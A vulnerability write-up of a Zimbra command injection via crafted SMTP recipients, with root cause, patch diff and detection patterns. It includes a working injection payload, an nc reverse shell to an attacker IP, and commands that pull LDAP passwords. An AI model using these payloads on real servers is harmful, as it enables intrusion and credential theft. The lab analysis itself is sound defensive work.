Overview
| Field | Value |
|---|---|
| CVE | CVE-2026-73570 |
| Severity | Critical — CVSS 8.9 |
| Affected | Zimbra Collaboration Suite 10.x < 10.1.20 |
| Type | OS Command Injection → Unauthenticated RCE |
| Vector | Network — no credentials required |
| Patch | Zimbra 10.1.20 (released 2026-07-20) |
| CISA KEV | Yes — active exploitation confirmed (~270 instances compromised) |
This vulnerability allows an unauthenticated attacker to achieve remote code execution on a Zimbra mail server by sending a single malformed SMTP command. The attack chains four components: Postfix accepting a RFC-valid but maliciously crafted RCPT TO, the zimbra.log capturing it verbatim, swatchdog pattern-matching it, and a vulnerable system() call executing arbitrary shell commands.
Background: Zimbra and its internal components
Zimbra Collaboration Suite is an enterprise email platform widely deployed in mid-size organizations and government entities. Its internal architecture stacks several components on top of a standard Linux base:
- Postfix — the MTA that handles SMTP traffic. Logs all activity to
/var/log/zimbra.log. - swatchdog — a Perl daemon that tails zimbra.log in real time. When it detects a service state change, it fires SNMP notifications.
- snmptrap — the SNMP utility called by swatchdog to send those notifications.
The interaction between these three components — specifically the data path from Postfix logs to swatchdog to snmptrap — is where this vulnerability lives.
Root Cause Analysis
The vulnerable code is in /opt/zimbra/conf/swatchrc.in, the swatchdog configuration template. It defines a Perl subroutine called dosnmp that builds and executes the SNMP trap command:
Vulnerable version (< 10.1.20)
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system("$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
Fixed version (10.1.20)
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
The difference is fundamental. Perl’s system() has two call forms:
String form — passes the entire argument as a string to /bin/sh -c. The shell interprets it, expanding variables, $() subshells, and other metacharacters:
/bin/sh -c "snmptrap ... s $(malicious_cmd) ..."
List form — calls execvp() directly with each argument as a separate element. No shell is ever invoked. No expansion happens. Data is data:
execvp("/opt/zimbra/common/bin/snmptrap", ["-v", "2c", ..., "malicious_cmd_as_literal_string", ...])
The vulnerable version uses string form, passing $args{SERVICE} — which comes from the log — unsanitized into a shell context. If that value contains $(cmd) or backticks, the shell executes it.
Note on the regression: Zimbra 10.1.0 (2024-08-19) actually shipped with list form. The vulnerability was introduced in an intermediate version (10.1.1–10.1.19) and corrected again in 10.1.20. This makes it a regression, not a long-standing design flaw.
Attack Chain
Attacker (Kali 10.0.2.15)
│
│ SMTP: RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Ubuntu 10.0.2.22, port 25)
│ Accepts — it is RFC 5321 compliant
│ Logs verbatim to /var/log/zimbra.log
▼
swatchdog (Perl daemon, running as zimbra)
│ Pattern match:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│ Captures: $1 = "localhost", $2 = "$(payload)"
│ Calls: donotify(SERVICE="$(payload)", ...)
▼
dosnmp → system("$snmptrap ... s $(payload) ...")
│ /bin/sh invoked — expands $(payload)
▼
RCE as user "zimbra" (uid=998, gid=999)
Step 1 — Log poisoning via SMTP
RFC 5321 allows the local-part of an email address to be a quoted string — any characters between double quotes. Postfix correctly accepts this, and critically, logs the full RCPT TO value to zimbra.log without sanitization.
This means an attacker can write arbitrary content into the log by crafting the right email address.
Step 2 — Pattern matching in swatchdog
swatchdog watches the log for this pattern (defined in swatchrc.in):
/: Service status change: (\S+) (.*) changed from stopped to running/
It captures the second group and passes it as the SERVICE argument to donotify, which calls dosnmp.
Step 3 — Shell injection in dosnmp
With string-form system(), that SERVICE value lands inside /bin/sh -c. If it contains $(cmd) or `cmd`, the shell executes it. No further validation occurs.
Lab Environment
| Component | Details |
|---|---|
| Victim | Ubuntu Server 22.04.5 LTS — 10.0.2.22 — Zimbra 10.1.0 |
| Attacker | Kali Linux — 10.0.2.15 |
| Network | VirtualBox NAT Network 10.0.2.0/24 |
| Zimbra services | LDAP, MTA, mailbox, SNMP, amavis, antispam, antivirus — all running |
To reproduce the vulnerable condition, swatchrc.in was manually reverted to string-form (from 10.1.0’s list-form), simulating the intermediate versions 10.1.1–10.1.19.
Exploitation
Basic proof of concept
The simplest test: write the output of id to a file.
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@cve.invalid>
Result in /tmp/pwned_rce:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Full reverse shell
1. Start the listener on Kali:
nc -lvnp 4444
2. Open a raw SMTP session to the target:
telnet 10.0.2.22 25
3. Deliver the payload:
EHLO kali.lab.local
MAIL FROM:<a@kali.lab.local>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;nc 10.0.2.15 4444</tmp/f|/bin/bash -i>/tmp/f 2>&1 &) changed from stopped to running"@cve.invalid>
QUIT
Why mkfifo instead of a bash one-liner? Ubuntu’s /bin/sh is dash, which doesn’t support >& redirection or /dev/tcp. The mkfifo approach is POSIX-compliant and works on any shell.
Postfix responds 250 2.1.5 Ok. The address is RFC-valid. The entry lands in zimbra.log. swatchdog fires within seconds.
4. Shell landed:
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.22] 49382
zimbra@mail:/opt/zimbra$
Post-Exploitation
Privilege context
id
# uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
hostname
# mail.lab.local
LDAP credential extraction
Zimbra stores credentials in cleartext in /opt/zimbra/conf/localconfig.xml:
grep -A2 "zimbra_ldap_password\|ldap_root_password" /opt/zimbra/conf/localconfig.xml
This yields the LDAP bind credentials, which provide access to the full directory — all mailboxes, accounts, group memberships, and domain configuration.
Account enumeration
/opt/zimbra/bin/zmprov -l gaa
In a real engagement, LDAP access from a compromised Zimbra server is typically a pivot point for lateral movement, mail exfiltration, or credential reuse across the organization.
Patch Analysis
Zimbra 10.1.20 fixes the issue with a single conceptual change in dosnmp: switching from string-form to list-form system().
-system("$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
+system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
+ $traphost, "", $snmpsvctrap, $snmpsvcname, "s",
+ $args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
With list form, $args{SERVICE} is passed as a literal argument to execvp(). The shell is never invoked. $(...) and backticks are treated as data, not syntax. This is the correct and idiomatic way to call external commands with untrusted input in Perl.
Detection
Search Postfix logs for RCPT TO entries that embed the swatchdog service-change pattern:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
Or more broadly, for subshell syntax inside a quoted local-part:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
Any match is a confirmed exploitation attempt. A hit before patching means the server should be treated as compromised.
Mitigation
Immediate: upgrade to Zimbra 10.1.20 or later. The patch is available and the fix is contained — no configuration changes are required beyond the upgrade.
If upgrade is not immediately possible: manually edit /opt/zimbra/conf/swatchrc.in to replace the string-form system() call in dosnmp with the list form from 10.1.20, then restart swatchdog.
Additional hardening:
- Restrict SMTP access (port 25) to known sources at the network level where possible.
- Monitor zimbra.log for the detection patterns above and alert on any match.
- Review outbound connections from the Zimbra server for unexpected destinations.
References
- NVD — CVE-2026-73570
- CISA Known Exploited Vulnerabilities Catalog
- Zimbra 10.1.20 Release Notes
- RFC 5321 — SMTP (quoted local-part)
- Lab + PoC code — github.com/juanpoch/CVE-2026-73570
This is an independent technical analysis and PoC reproduction for educational purposes. The vulnerability was reported by its original discoverer; this writeup documents the reproduction process and root cause in a lab environment.